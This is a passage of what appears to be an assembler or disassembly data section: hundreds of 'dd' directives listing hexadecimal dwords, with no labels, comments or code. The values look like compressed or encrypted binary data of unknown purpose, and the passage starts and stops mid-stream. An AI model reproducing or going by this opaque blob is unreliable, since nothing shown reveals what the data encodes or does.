7D8C98CCh, 0FF001FC7h, 682FE125h, 4AB059h dd 1C582CE2h, 0D4F2AFB1h, 66F6000h, 5DC98436h, 14650D59h dd 0F0A65483h, 9A0066BBh, 0E577BCB4h, 29B3CAh, 3EDED8C6h dd 1B5E3F4Ch, 32D47203h, 0D8F3E533h, 44911F9h, 54B6CD82h dd 8C5BC0E8h, 0C100CF2Bh, 2D0FDC8Fh, 726895Fh, 0C609226Ch dd 7D9F906Ah, 1600BB81h, 0A055E0D2h, 98986B1Dh, 0A3F283h dd 0DC121EBCh, 66C4609h, 9137C600h, 5F619856h, 5DB70938h dd 0D00AD14h, 40EB88C4h, 0CE1C38h, 0FEDA48Eh, 7E60D8B4h dd 3B0E0018h, 0FB72FF36h, 0AA009A2Ch, 86F5BC04h, 261D22F9h dd 477C40h, 0C39C08Eh, 6300DC6Ah, 51121C61h, 1E7385ADh dd 0AC805E8Fh, 5C270E0Bh, 98171100h, 8300F906h, 26B57CDh dd 88724Eh, 843BA26Ah, 0C054535h, 7A426800h, 9E32A3F5h dd 10C10981h, 0E840D161h, 0A11F22AEh, 0DD8007CBh, 56292357h dd 0C4FA06h, 0B9FD7101h, 4ACB10F2h, 96B5AE07h, 0B000EFE5h dd 5894B427h, 7700DC41h, 45B1E050h, 6008CABh, 2F186A61h dd 78957872h, 7AB30091h, 0CC6557EBh, 8100B9C0h, 782F0A0h dd 8B92EAh, 13B16CF2h, 0B3A91E31h, 0D25D5000h, 0B42EC348h dd 81490096h, 0E43B5E90h, 0F77D3392h, 36469E03h, 0C01E2F7Dh dd 421814Ah, 0A6B537BFh, 267380B2h, 9E00945Eh, 0E744EBB1h dd 2C4F10B3h, 9990BAh, 7A8F3EC1h, 640002EDh, 0ACCF4995h dd 3DBBBD9h, 0DCCEE8BAh, 0D4B8F1C3h, 9016552Eh, 0C3000AA6h dd 0A30EAF31h, 9FFF0003h, 27585DFAh, 0A400885Ah, 13356B9Ah dd 0E8EF6FC2h, 4AA00004h, 0A89D3C5h, 0E5009CBDh, 66CCC8ACh dd 2ABBAAh, 53223E4Bh, 0BA634AF6h, 0B8F6500h, 3677F77Ah dd 31C1C73h, 0C1DC0BCh, 0D38DCBB2h, 14A3FF07h, 0B7E0952Fh dd 0C470C7h, 531B91F9h, 9F983378h, 65A98D00h, 6BFBB24Ah dd 0B3BF0069h, 0CE2FEF0Eh, 430F323Ch, 809250C7h, 0E6F73EF2h dd 80B20019h, 0F5C29AAh, 68136A3Fh, 0C34073DCh, 9A323961h dd 8F8B0035h, 7D80B717h, 86007F94h, 9F4C6EEAh, 79127Eh dd 0A2624BF3h, 990B0EF0h, 0DD256000h, 0A79D65FBh, 0B2843E09h dd 0AF295F00h, 8A3D5AA0h, 0AAE5900h, 38DE93BAh, 9D6A0056h dd 0C472EA50h, 0E500343Ah, 65FAC14Ah, 0FEF6CB9h, 0F28FBFF5h dd 0D368EA60h, 9D02626Eh, 0F95CB8ECh, 60826015h, 48853EACh dd 51E96900h, 0BA126D2Eh, 900E1670h, 20FF5AC6h, 17DB0928h dd 0CC9800C4h, 0A15C3A77h, 0AF00376Ah, 0C7CA6956h, 24397Fh dd 849FE844h, 0DBAC309Ah, 99026160h, 3C1896AEh, 0D0807901h dd 4BCB3426h, 5600C7E7h, 42B87F8h, 0F2812h, 0B848F55Dh dd 4E197BA5h, 697FDD0Fh, 8DF3203Bh, 0F84406Eh, 70284715h dd 0EF0D3E40h, 83BA36Fh, 7FFC0057h, 0E5BD683Fh, 0CB1F179Ch dd 75D60087h, 80F1209Bh, 0BF44B900h, 0A82750B1h, 0CF5C3F12h dd 7A61A500h, 68303596h, 0C73FF500h, 0FE2B4E9Ah, 6FB00010h dd 5C799046h, 0FB0050DEh, 7C01E3A6h, 3CBBE517h, 1280F251h dd 0F1B7B35Fh, 0E0E49B6Eh, 5C38EF00h, 0C9C04D49h, 0CE14013Eh dd 8682E640h, 5377ECC6h, 0F3EC8D00h, 44AE51EEh, 87680003h dd 599F7FB4h, 22007088h, 6C062391h, 383B83Dh, 722B69D8h dd 81986873h, 0A001DE0h, 3A3BFD17h, 0AC4435h, 58DADB8Fh dd 96B91A31h, 0C1E42500h, 79C30D6Ah, 371D020Ah, 668F84E3h dd 0E4469F80h, 87000EE9h, 5201651Fh, 0BBF1E5Bh, 0A40CE002h dd 6F0020D0h, 0E159E414h, 2AE217h, 0B2FE3E33h, 0CCDC4F03h dd 441D8D00h, 45E0761h, 15830331h, 7EEB6EA9h, 356A5FF8h dd 0BA4A4Ch, 0D32DFC9Ch, 5879AAA0h, 180045D6h, 452B7E15h dd 0C4008940h, 14241E96h, 39FCB1h, 8AF95211h, 19B36AE1h dd 0BB4BF800h, 1B9B9801h, 25ED071Dh, 60640FFEh, 0B98F69B4h dd 941ED200h, 6749820Eh, 6DF70060h, 64346276h, 0DA2E7C3Bh dd 9F0F83DEh, 0CB56C378h, 892806Dh, 5E4600EBh, 0A9D76205h dd 0CD38BD49h, 4A131F0Ch, 10F57380h, 0ED8570h, 59DF1B23h dd 65383564h, 63502200h, 477A87A4h, 99780018h, 0D9A5A6Ch dd 171C40E9h, 20003904h, 823F87Dh, 0E3D0F54Eh, 95F4078Ah dd 0FF03218h, 8138D983h, 0D6E2CCF0h, 0FE935D03h, 0D895519Eh dd 0C3F17Fh, 72EEEDC5h, 3D9712F7h, 75667D39h, 8980E500h dd 0B911F68Dh, 0C8F89Bh, 0E6FD5B73h, 0AFCE58D5h, 86A24800h dd 22CAADF2h, 0F8A61C2Bh, 253D0099h, 5B08F040h, 20265300h dd 60FFE6C9h, 0EDD1032Dh, 41D8C2C1h, 0AECA5D80h, 0AA0081B8h dd 3D8986A7h, 74016E18h, 43600090h, 26F0515Eh, 19009BEEh dd 1279BF48h, 3F906655h, 1E6CC976h, 0C20586B0h, 0E2CEA0EEh dd 0C5049D80h, 38F6EC23h, 4A00A491h, 29B46089h, 0CA075730h dd 3F4EBA37h, 98F19EF3h, 105A98Fh, 0B75B7AA4h, 20C453A7h dd 2F002E1Fh, 3C343E46h, 0E2010771h, 598D0056h, 293A4BEDh dd 0F400CDA7h, 84642AACh, 0F75844h, 6D8B0703h, 0D9AD92DBh dd 6002C404h, 3AC09604h, 14C9A2Ah, 7643F13Dh, 0CC6ACC71h dd 21001C7Dh, 5B6F6405h, 3D7E5479h, 0AE58BF31h, 0E8DBAB00h dd 0DF6B59C1h, 69C3BE00h, 9912C05Dh, 7977C8h, 0DCD6C4F3h dd 1A590491h, 3C78D200h, 46CCD4E2h, 0AC6E0093h, 60930CAh dd 6700C0F5h, 5A0916Ah, 4245A5h, 0F8EAB00Dh, 3FBC8C1Eh dd 18345E00h, 6589ECCAh, 1F66B89Ah, 4040C1D3h, 0BAF00754h dd 0D900BD7Dh, 0CDD2D7FBh, 3A348Dh, 5BC5C76Ch, 0D04FE3BCh dd 0D7D9F300h, 193FD879h, 212B007Ch, 782A10D1h, 63002E30h dd 0C929E889h, 501373h, 4DC4F29Ch, 0E702467Dh, 0BBD2D60Ah dd 7100EB70h, 0A3046294h, 8F490024h, 52E4E321h, 0FC0190DDh dd 9B39263Ah, 0C5DCB5B4h, 0E75FCC6h, 0C85693D3h, 5F147B20h dd 0FF03E789h, 0D058C381h, 84C0A5CFh, 0F40A51Eh, 0CBC88F6Eh dd 0DB496BA1h, 1C3DD48Dh, 22009C71h, 20A0D718h, 7873775h dd 596A1692h, 7D6D6055h, 0C53BAF70h, 22D20067h, 0F006D71Ch dd 0ECDA003Bh, 0C7B42A1Ah, 0A11FFBC1h, 0C427CF8h, 6034E73Ch dd 0AD0800h, 0EC2EF2E0h, 6D32FC38h, 0A467E600h, 749F30FEh dd 3699003Ch, 6AC3AF72h, 0FC0040ABh, 735971A9h, 3C4B763Dh dd 100059Dh, 0B394CF2h, 0BE008086h, 0E519E035h, 984F8B76h dd 0AF7C013Fh, 932BE11Ah, 607FF247h, 0E298253Ch, 6C030353h dd 0C35EEF69h, 0F7A0C2D3h, 61F0704Eh, 0FACD9000h, 3E55742Dh dd 0BB773A1Ch, 0E7F46800h, 6E319820h, 0B51EDE00h, 2874EB5Dh dd 87ED0010h, 1D5B1C12h dd 5F0E952Dh, 839A96B8h, 0B0CD88A6h, 0E84E9Ch, 0F709782Fh dd 55F9BF7Bh, 1D9023Eh, 3ECF20B4h, 0C4EC298Ah, 9DD10E66h dd 42403028h, 0D7B4C3AEh, 51BCCF00h, 0C06332E7h, 0BFA807BDh dd 806A8853h, 33C6B60Dh, 848B8E0Eh, 7FA96016h, 0B845B5h dd 42E7A29Fh, 0E991DF9Dh, 17105E00h, 18658239h, 0ADC6001Ah dd 0AC31A836h, 480099C3h, 0CC44CFBh, 5BCC6Eh, 0F92ED6CEh dd 204A67A5h, 0E98C4503h, 904EE3AFh, 23F182h, 84B9ECEEh dd 0A604F267h, 4889D907h, 0CC403D63h, 91DD78h, 6A7EB1D8h dd 6085C924h, 0D3E64A00h, 59125EEBh, 0F96100D4h, 0F439FD23h dd 0E0004617h, 4492C3C7h, 0A3359Bh, 9D8CC668h, 70772D86h dd 54396500h, 958A8033h, 0C272A5h, 8E264FCEh, 19D80CD4h dd 0FC531207h, 0E370E8E1h, 2025A2h, 70165823h, 0D9CD1D7Eh dd 0B004BFAh, 8B91E9F2h, 32B4A21h, 0EF246BF7h, 56A914EAh dd 672DF40Bh, 0C31F9600h, 0A430F7F2h, 5E240011h, 3B19C80Eh dd 0E20E158Ch, 200A64E4h, 63A455B4h, 4539002Eh, 3DA8537Eh dd 4816593Fh, 8A0037FDh, 8D1B726Eh, 0B7F880h, 8433D13Ch dd 4BE959C5h, 47793576h, 0D3B98200h, 0ED9D815Ah, 0A380058h dd 0AF789093h, 8001BC6Ah, 84513B36h, 0F02096A1h, 0EF2B009Ah dd 490D712Ch, 7F00F21Bh, 6D18FB33h, 777ADE4Eh, 29E834h dd 6A4DA2BAh, 0AE3C892Fh, 19A30D03h, 0F0D1863Fh, 1477EDh dd 1F6C9C6Dh, 0BBF5559Fh, 4A1E6703h, 0A003F323h, 0EDBD46h dd 1B2F99C6h, 69F5B6B9h, 94257E00h, 0D132113Bh, 1279AAh dd 0D5A25B54h, 63374605h, 0FCA9900h, 5C6FCF2Dh, 3F590019h dd 40C9F067h, 0B63DA785h, 13D8047h, 74C73A79h, 87BD00A8h dd 0B304CA90h, 78009CA2h, 651C5F92h, 22C397h, 284A836Bh dd 0C5D260A4h, 5450FC01h, 34068F8Bh, 0FADBE8h, 5CEFA76Dh dd 0B7BD24F6h, 0B0AC000h, 506F0A2h, 0CCCB00C6h, 82C46614h dd 7439542Ch, 4DB4813Fh, 9BECAF0h, 7731DF0h, 0F871F94Bh dd 251E8041h, 8F00A21Fh, 0B4786B17h, 0FDA47EF2h, 26F230h dd 655124C3h, 78280215h, 0E703FC79h, 662BE4C9h, 4C24C059h dd 0A2A90382h, 91607AF2h, 0E9D532B8h, 2F011C7Bh, 53ABB6BBh dd 0EDC441FBh, 1285004Dh, 4C737669h, 87EE7F9h, 0F01D3801h dd 823C7B6Ch, 0B907ECh, 0B31651C6h, 678861F1h, 0F76FCA01h dd 594DA7FEh, 1820C3F9h, 0B47118h, 92221461h, 0F1401CB9h dd 283D400h, 901A9D9Ah, 5C96EC68h, 0D1008F91h, 70EAB38Bh dd 13005A88h, 6855C524h, 0FAA19A90h, 0E21426B9h, 4A6E0049h dd 17A0E4D8h, 0B6CF0500h, 0A550EFDAh, 0A7E501CBh, 0C389531Eh dd 0E932C004h, 22239900h, 0F8C2F75Ah, 514B000Ah, 0AA358E36h dd 3D00FDB9h, 4DD7905Bh, 0ECFC52ECh, 36D4004Bh, 8E77DAC0h dd 0ED06A78Fh, 1CFE1D35h, 29DC03C0h, 4B8BF0BCh, 0B1D0D08Fh dd 3900F5CDh, 0B33A25Fh, 4931ACh, 9082B330h, 240CEBA7h dd 0F6FF3D00h, 4D50DBE5h, 997B006Eh, 3EC196Bh, 220E83C3h dd 2094CFB4h, 683AB1AEh, 0C6DC0070h, 5595CBA4h, 0E9008999h dd 0ED710B3Eh, 7237A309h, 3F95B872h, 0D80F9FEh, 9679337Ah dd 62014CFCh, 8BA96E69h, 9FE42190h, 4DB70078h, 76606BEAh dd 0AC0059C3h, 164EC07Fh, 55C721h, 3996F714h, 22502C52h dd 4789DD00h, 0FD8E07DCh, 0C21C002Eh, 987C133Ah, 0AB00141Bh dd 0A688EB36h, 2ECAC57Ah, 8962F8h, 8C93084Ch, 290084C9h dd 0AF7DEB87h, 0DB2F4Fh, 0D2C0CADAh, 94AE1777h, 0F078FA01h dd 0B4158221h, 8F58CCh, 0C567B03Dh, 0CA372E88h, 2DD94E00h dd 0CF6ABC01h, 1AC900E2h, 6D49D0FFh, 5D00A677h, 0ED2C28CBh dd 0F0DC2Eh, 0C28B738Ah, 0BBBFC855h, 229D1904h, 1A8088CFh dd 0E45F75h, 651FA3A8h, 70C71ADh, 0B8773D00h, 0F3BE7DEDh dd 25961CE9h, 0F820DF2Ch, 29898107h, 51A5E0B7h, 787E4868h dd 0E172D000h, 4511A9CBh, 0BFEB00CAh, 902CA533h, 7E03FA2Ah dd 3C2201DEh, 0E948F1FDh, 0F5910C4h, 0B14390E6h, 0E1206CCEh dd 3CF67DD3h, 2BA66400h, 0CA08D031h, 5C5E7930h, 94000132h dd 0C21788D5h, 0DD005975h, 5DAB6779h, 7027B5F7h, 0C477000Fh dd 1D96C6CDh, 3090E564h, 0FE6BD500h, 1821F449h, 0F6A80E1Eh dd 13803138h, 205E2767h, 76AFCC00h, 54D82423h, 0A5A238B7h dd 4C10A300h, 0E49CE02Ch, 1C90E500h, 9F807D26h, 0A95B00FBh dd 8CE6DEAh, 0F0004299h, 60957571h, 598EEh, 0C9A65C8Ch dd 1586103Eh, 0F8482800h, 24D6C44Dh, 0BFC700FAh, 0F7D96862h dd 0CF007555h, 0B0C97D1Dh, 33E2EF4h, 20926C97h, 7BF8D785h dd 0EF244C5Dh, 41247A90h, 42791700h, 3DC0760h, 0E193DE76h dd 9780F756h, 0A1008B38h, 4399DF16h, 1A594Ch, 5114B33Ch dd 138A49F1h, 0A96BBB00h, 92A64BCh, 0E32B00DDh, 23D92299h dd 0D7002CC4h, 0D1FC7C8h, 2450423Ah, 61BD35h, 2961CBF9h dd 0D40E7783h, 2FE09922h, 5219C027h, 6A0F17h, 0F9BD725Ah dd 0E69EEF02h, 4A478D00h, 0E76E607Ch, 8ADD0038h, 40E976B9h dd 49004D27h, 0EDCE9ECDh, 397A71B4h, 0AB9D3EAAh, 5911C0D3h dd 0DB30EAF7h, 0FE008BB0h, 0E846D6EDh, 0A1F8DAh, 239E51E2h dd 0A352589h, 559D5C0Eh, 0E8F8203h, 0D467E0B2h, 0C9380007h dd 84C7085Bh, 7C039B92h, 6DB32B5Eh, 7987B842h, 8BC801DBh dd 8AF12E46h, 0BE25DCCAh, 0AD35EA00h, 0A010BAB9h, 0B8760086h dd 0A8D5F30Eh, 7B00586Eh, 457859E1h, 199C50h, 25EA2971h dd 0B1851A5Ah, 0A8F9FD0Eh, 0FEAAE05Dh, 7267F3Dh, 7389BC5h dd 0DA601EA7h, 41715D57h, 86B5D000h, 0F11F27BAh, 4B62036Fh dd 12CDC6E1h, 6655DFA0h, 0BA6EC500h, 0DD31A0B2h, 0F9D90065h dd 0B927A574h, 0C1000637h, 4DE7E9EFh, 7B498064h, 0F7788Bh dd 29BAB851h, 17BCDB9Dh, 4843407h, 0A780D524h, 5BDAD7h dd 0F691D1EAh, 40CB7D2Bh, 0E4681C00h, 394D84C8h, 0FCE501BEh dd 918621A1h, 29B670A9h, 7B2A2F01h, 0C3EADBF0h, 0DA401021h dd 0A8A3EFh, 2A7C88E6h, 91948CE0h, 80109A39h, 0A0AEE249h dd 0B183187h, 0A67AA963h, 14B78300h, 0DE24C361h, 7224DC79h dd 4E815B1Ch, 0A13A3921h, 5785F0h, 0E74F87D4h, 49779361h dd 599DB801h, 1FBDEF75h, 0D6B560h, 25BAAC5Ah, 6A575B43h dd 0C88BF200h, 134DC9CFh, 0B6D00062h, 75B5F6A4h, 5E7B2A10h dd 96A52B00h, 26FD2CB4h, 91980046h, 698C6252h, 5E074478h dd 0CC4F4912h, 616E2120h, 0BE2E0092h, 0F4B2E655h, 51009BCEh dd 0F1D21A30h, 74A2E939h, 0B5421681h, 7F591CECh, 27EDAB9h dd 17D1974Ah, 0D7C05E46h, 0BE032788h, 23BDAFB2h, 0EACCF92Ah dd 9358530h, 27EB08Dh, 0F7324300h, 0A4381640h, 700F735Dh dd 20FD297Fh, 28614D2Ah, 0CA1A2CC2h, 0D1810E40h, 0C1048C0h dd 0DD00A7F9h, 13D49C80h, 1F647121h, 0C0C0456Ah, 7BE0305h dd 0FA000AF4h, 7186B427h, 0DF299Fh, 53BDA96h, 2675541Bh dd 0A0590300h, 130F717Dh, 819C0022h, 9DD02F2h, 1D00EAAAh dd 0A9D105E7h, 0E8F146FEh, 0EC66005Fh, 0EA4A1F24h, 625050F0h dd 2E00398Dh, 0D4F5C9DDh, 0A990B2h, 0D418BBEh, 0CB88787Ch dd 0A6DED900h, 0D583B8CEh, 0A77EC359h, 29800E63h, 19009FDAh dd 6066982Ah, 7C516580h, 0AABB000Dh, 0C058F510h, 0B2008448h dd 0E4B6D205h, 3BB753h, 0CD1B2EEBh, 6D0FE163h, 0BDB56203h dd 0F084303Ah, 0A225C0h dd 22E4E87Ah, 217265B3h, 78FBD401h, 0EAEDE15Fh, 7469ECh dd 0CBB7EC48h, 59544BE9h, 16F60F00h, 0C4C067E8h, 5CCE0101h dd 0DB403AEDh, 0E62E80F8h, 0AAD9771Ch, 0BFB1D3Fh, 874D8039h dd 82489C97h, 0D8320F00h, 8FDC777Ah, 0F6F303F9h, 0B1624F09h dd 0D2BD5598h, 17EA3Ah, 9093B05Ah, 30E47D1h, 802229EFh dd 36E0AB88h, 277AC6B6h, 0A37E000h, 4E54F243h, 13E648h dd 9D9EE14Ch, 0CCE32752h, 0F3179C01h, 0FBF2BDBAh, 3C3B95F4h dd 0AE0061F9h, 0A42FB1A2h, 5E008008h, 9DF27D5Dh, 32DD14Ch dd 0FD0BFE9Fh, 0EFC06314h, 0DAE63FD4h, 0EC2FF500h, 38512DE3h dd 4CF312CDh, 0C2DD07A2h, 0F2ACB074h, 0B826DDFDh, 6A008024h dd 0FB52714Ch, 170124DAh, 9CAB00ACh, 901C9DFCh, 0F900D3E2h dd 81C77E31h, 0D3F66h, 65703B27h, 15FE3375h, 0A97CCE1Fh dd 0DE369E40h, 7BEDBAEh, 6E52BBB8h, 1B2BA044h, 0ED005443h dd 87193CC8h, 18E820h, 39B35BD7h, 0E58B7A44h, 9E352900h dd 0DCFEE23Ah, 0D2F6A7h, 88EFFC45h, 5470F8A1h, 0E5834400h dd 718C757Fh, 0D41A508Fh, 0FA810019h, 0DF4336EEh, 8800E1CAh dd 0F48BEA9Eh, 5A9AE0h, 6E2C4D3Ch, 465E26BBh, 21B40D00h dd 0EC566AFAh, 6C7634h, 3E33BCDh, 0EBFF02B1h, 0F630E7E0h dd 0C31FC08Bh, 0A6B800D2h, 268A7A8Dh, 0EC00FE8Fh, 67063985h dd 71E54C56h, 1DAA0FD4h, 5A7E686h, 91816089h, 4E009B76h dd 6C24F6C6h, 0EACB3B5h, 0FBE43073h, 0F7C722C0h, 0C1002311h dd 5CA9289h, 67508Eh, 44C3A6DCh, 0B27DC931h, 620FFAE6h dd 804C2939h, 0B90682CEh, 19A700AAh, 5DD1A23Eh, 0D89F5AFBh dd 1A7A006Bh, 0DBC6563Fh, 0E400AC4Eh, 819A126Ch, 507D1520h dd 7916E584h, 9B551C23h, 91BB4014h, 57ABCCAFh, 17D7EE00h dd 0E6C9BFA9h, 20EC89h, 76E98F4Fh, 80B56F4Eh, 71C8500h dd 0C1A652D0h, 0DCEE001Bh, 184C41FEh, 2D3CD98Ch, 224F80BDh dd 5162D63Fh, 0C9DA0093h, 8E9252Eh, 730004AAh, 1687DC18h dd 0A5A09Eh, 4F3F9D91h, 46A8FFEFh, 2B08D500h, 6DB85B2h dd 0FAE2B0h, 0A10DB476h, 2E7AFD33h, 0AD5B3Bh, 929E5A0Bh dd 677B2C4h, 1B8DB08Bh, 39002430h, 0D3A6CFF9h, 7AE8DF65h dd 0B0840068h, 0E5296A94h, 0EA58E0C8h, 84372450h, 0A81DBD00h dd 980F3C9Ch, 726A00B1h, 0CC7A1150h, 15EAAFC6h, 0B47D6700h dd 49014DA8h, 3C930053h, 0F8D85281h, 0D28148Bh, 5F75E871h dd 80FF483Ah, 9B3C0B07h, 0F8E2D816h, 0F0E700BAh, 71BD7022h dd 510E4A5Ah, 391F0Ah, 105F0E9Eh, 7EFD00DBh, 0D993D467h dd 0D57CCC87h, 7D880600h, 2080B6A2h, 14541E5Ah, 0BB0DC002h dd 3F74D6B0h, 6EDAD400h, 0DC9C3928h, 0E64E1E67h, 6D424017h dd 60FEA1FAh, 0E8D84A02h, 0C0F4EF6Ch, 1C0F0B0Ah, 0E404778Ah dd 82DD00D2h, 0D046E29Fh, 41EA4C00h, 27C5C01h, 0F1CE008Bh dd 0D53F08BAh, 0BBA01243h, 71071195h, 0F43CF86Bh, 81B3CD80h dd 233B3A7Fh, 0AD3FA481h, 0D486E8B2h, 0E2A0EA20h, 6A0F5E1Ch dd 0E05781CDh, 7E9E535Bh, 0D2E8ACh, 5987B371h, 9466AFBCh dd 0A8C3200h, 0B6A87A84h, 2643004Bh, 12204AB0h, 800A23Dh dd 1E183360h, 31FCCEh, 0AE210589h, 556967DDh, 7B00EFB0h dd 0AD973439h, 71BA97Eh, 0D41E860Dh, 0FE7730F1h, 4B00AFABh dd 5A54263Bh, 44E747h, 0A650AEB3h, 0B23C6685h, 0A91EAD00h dd 205389B1h, 39FA0E73h, 82206EBBh, 6A9A385Dh, 6936061Eh dd 0B4895CC0h, 97020Eh, 4FDEF519h, 43F723B6h, 9E9D5300h dd 0A6067A7Bh, 0A973006Bh, 1CAECEF0h, 570004E0h, 0C78A2A76h dd 0A83212h, 8EE1B8ABh, 0CA2E72F8h, 0C095EC00h, 0F59DE3FBh dd 0AFEA0F97h, 58209FD6h, 95C28982h, 0C75A5600h, 6CB08E9Eh dd 30603B2h, 7141F11Ch, 8A12DE90h, 0F894C01Fh, 28CC7B40h dd 3AC5F73h, 0FA52F972h, 1C1A4A5h, 7FFCE0E5h, 2E180E00h dd 0AA851EEh, 290600E6h, 146D7537h, 8F14B54Eh, 91E96Ah dd 0F1610ECFh, 7E4F3C02h, 24CD00B8h, 0FDB428B3h, 0A73A72C8h dd 880700BEh, 35BA2A5Eh, 3063009Fh, 64D2E52Bh, 3600928Ah dd 0AE139FFh, 0EC06B42h, 78DF172Dh, 80FD3767h, 0F1B4D976h dd 0A249D400h, 1006465Dh, 5F8200B2h, 41616C6Fh, 9A00805Ah dd 68303888h, 837EEAh, 8BB23432h, 0C49C1BDAh, 5B94E100h dd 2BA2F0E3h, 0D7BA0787h, 60BEEB07h, 39CF19D3h, 2A26A013h dd 1CD93900h, 94254Dh, 1F85C4B4h, 21B357F3h, 5319B50Fh dd 97003C02h, 862C7C09h, 0BB450061h, 25899A92h, 1000A6A7h dd 0D367595h, 38F3A54h, 8657BE83h, 0F0B86E9Bh, 0DD006AD9h dd 0F57AC35Eh, 16EED29Ch, 0FFF37B8h, 42065F1h, 90AFF1A7h dd 1E94D700h, 4D2A3C3Bh, 4895ECCBh, 1C000532h, 99F5E10Eh dd 64F61682h, 5F77EE00h, 3C554C14h, 0E8410784h, 43A72AC4h dd 0EAA8A029h, 1303239Ah, 1B6EFF73h, 0B34A885Fh, 75E40731h dd 40110AD2h, 0F0EFF2EBh, 89992128h, 32711E00h, 0CD2FC052h dd 2737000Eh, 11ADFAC3h, 3903DE48h, 1E9CA75Eh, 4A61B04Ch dd 71F00097h, 5FDF9DC2h, 5C0017D2h, 8D587CCAh, 5E4330h dd 680133D5h, 0CF6F2305h, 0FDEC2B00h, 58F3E269h, 1507A80h dd 4F5FE934h, 0ECC012D0h, 940004CCh, 0C30377Dh, 9AB9B4h dd 49036B0Bh, 0FFE2D0C8h, 3F00E67Eh, 0FBF471DCh, 1BA517h dd 0C6BA6480h, 0BE82ADEAh, 0E100657Ch, 73877077h, 3966743h dd 0CC606157h, 97CA8F48h, 4A7A7CE0h, 0D7D5E000h, 0B39F80E6h dd 0E5A20093h, 2E929C13h, 5300A9FCh, 9392606h, 0E6E66CEh dd 0EDDD11A3h, 8D20CFEEh, 0AAFAE759h, 5406807h, 4EA3297Eh dd 60508206h, 4897FDh, 0ED64A95Bh, 539F1EB4h, 0FE445200h dd 1933F84Dh, 94C300F6h, 4C28688Dh, 7CE66E13h, 3A83F500h dd 27648ABCh, 0E435C75h, 0FEBE6D00h, 823E25D8h, 5C65CD03h dd 0F8723C34h, 2421B9h, 0A620EA36h, 8C331555h, 0E8D4FA0Eh dd 0C00F816Fh, 0F6C0AB6Bh, 398A01ADh, 0C50E7766h, 8D92F781h dd 46373560h, 79335700h, 60E520C6h, 14C10042h, 664C8BEDh dd 0FC2EB561h, 43037CB2h, 0D05DDC7Dh, 1DEB47Eh, 45C09241h dd 0DBE2B5ABh, 0A45CA2D8h, 2B205D0Eh, 8BE980F2h, 39C41B1h dd 57928108h, 29A8043Ch, 6BFE72EDh, 3A438700h, 0D87755ABh dd 9F9B0014h, 0AF7428A0h, 0C2007247h, 61DF8D98h, 1DA05FBh dd 14A4AA63h, 0CF168578h, 0F355F0EFh, 0F9009280h, 60E88241h dd 37CBC0h, 566E5F5Dh, 0E127EE88h, 0B687B00h, 0A84D4B66h dd 0D9E41F1Ch, 1503FFE8h, 22560FF0h, 0ED3F5FF8h, 0D40D2B03h dd 98D2659Eh, 0CDDD78h, 7C4A7E2Eh, 0D0DB38E6h, 3C6FA001h dd 5E1B2C08h, 26278970h, 6931B6h, 0DE659AAEh, 0F701BF51h dd 49F17E71h, 4CE86478h, 6BE13ED2h, 76831780h, 0EEC927A3h dd 6DAF9E0Fh, 58AB8009h, 854ED1h, 0FDFE8C99h, 8BCE5BC3h dd 2B000598h, 0C225CA8Eh, 0AB576Bh, 685D279Fh, 0E495A41Ah dd 65921100h, 0CDC6243Bh, 0D79F0FD4h, 0B421EB9Ch, 4071407Dh dd 1A5B64B6h, 0F3F7DC00h, 744EF60h, 0B97A04h, 0F5480A27h dd 8F010F9Fh, 0DEDB3700h, 5492DD3Eh, 78347351h, 25B62472h dd 6A3C00A0h, 0BF820452h, 32A49800h, 0EF9721F4h, 79819869h dd 3107011Dh, 33AC081Fh, 4FE0DC09h, 0DF5ADB00h, 2875930Ch dd 4CBC43h, 0F8407083h, 0A0034FCBh, 5C18F051h, 4063BADCh dd 0D3CF1Bh, 0E0DA7D65h dd 52C9C7BCh, 0E77B272Ch, 4CF2A400h, 7D5E5A8h, 46D659EAh dd 81BAA018h, 0DE00BDC1h, 0A8E242FAh, 9EB7CAh, 62E11A6Eh dd 4E38A427h, 52B07D77h, 2FF35300h, 7B123AB7h, 67D43BBCh dd 0DD804A00h, 0F3BA0241h, 0EB153E00h, 6DBFFDD5h, 48E92C01h dd 0C2191C44h, 7057E574h, 80C56277h, 5EED16CFh, 3E089022h dd 12019540h, 32FE2663h, 0B446030h, 84819D00h, 676FBAFFh dd 270F004Bh, 268FDF97h, 0C83D82BDh, 719F007Dh, 4E056E73h dd 0BF8A00FAh, 235CAC47h, 3E00C87Eh, 0DC02EFD7h, 51853Ch dd 0EE92B9CAh, 6FFA9AF4h, 93442503h, 0E87C8DF7h, 0B5624Ch dd 0E1F2D841h, 9141D78h, 946F0407h, 1A61BBD6h, 6121F919h dd 6ADAC4h, 761BC185h, 92E12364h, 8BE4BB00h, 0BA3A5C0Fh dd 22413B33h, 65DA1180h, 0CEBDF988h, 304F58h, 19FE5026h dd 7B645F9Bh, 0E01D0049h, 6AC7E912h, 17071C25h, 0A37756F0h dd 0CB939070h, 0B6C9000Ch, 0D4792C45h, 0D9001469h, 6E7CCD0Bh dd 1E2F3F80h, 80B50EB3h, 91D36561h, 2D0052A7h, 0D9DE8FFBh dd 1CEC99Ah, 43EF1003h, 0C82B164Bh, 0E900A9C3h, 0B686381Dh dd 1D4F3D2h, 0FBD8B472h, 70F21346h, 0F7383FD5h, 75FA0189h dd 0AD7D7097h, 0CBBDCCh, 17A490D2h, 63D7B1FEh, 67C42314h dd 0EDCD00E0h, 0DFA8DA4Ah, 9B7CFCh, 0B28E78F6h, 24493034h dd 40D2B814h, 0FE2C00E3h, 0F4C3DC5Fh, 9520079h, 25388A86h dd 6700427Ah, 0F08EEA6Fh, 5D8958h, 0BED641FBh, 8BDF30A9h dd 0DC0E5E00h, 0E1F6B854h, 6DFD3BF3h, 1FE76507h, 5D3A7038h dd 0A83D7284h, 2B49008Fh, 869B7E42h, 65661711h, 6C7F0E1Ah dd 0F040F88Fh, 9A7BCE9Fh, 15F98401h, 51D1DEA3h, 0A247F4h dd 2679F877h, 955F38AEh, 75082000h, 0D8EE531Bh, 922900D9h dd 0CFED836Eh, 0F43A8889h, 76482Eh, 4552E8C4h, 0D63811h dd 9B98E7D8h, 0B5CDC8D3h, 0DAB48530h, 0B6257h, 98007D6h dd 943EABDAh, 1CFDD700h, 4CE9CF67h, 0CDA80073h, 0F1FE413Ch dd 1D00C77Eh, 0A58B5D9Ch, 6075D9h, 4D8AE0FCh, 0A215EC39h dd 4C70130Eh, 55F3A089h, 0B0809Eh, 2102E197h, 8F9CC85h dd 3DA8EB50h, 0FFB2D000h, 13FE48FBh, 314D00AAh, 37EF05C7h dd 43001BF7h, 4FCD4EADh, 4F1EB1Ch, 7ED6C832h, 79B38006h dd 38007BA0h, 0F9547283h, 90218Eh, 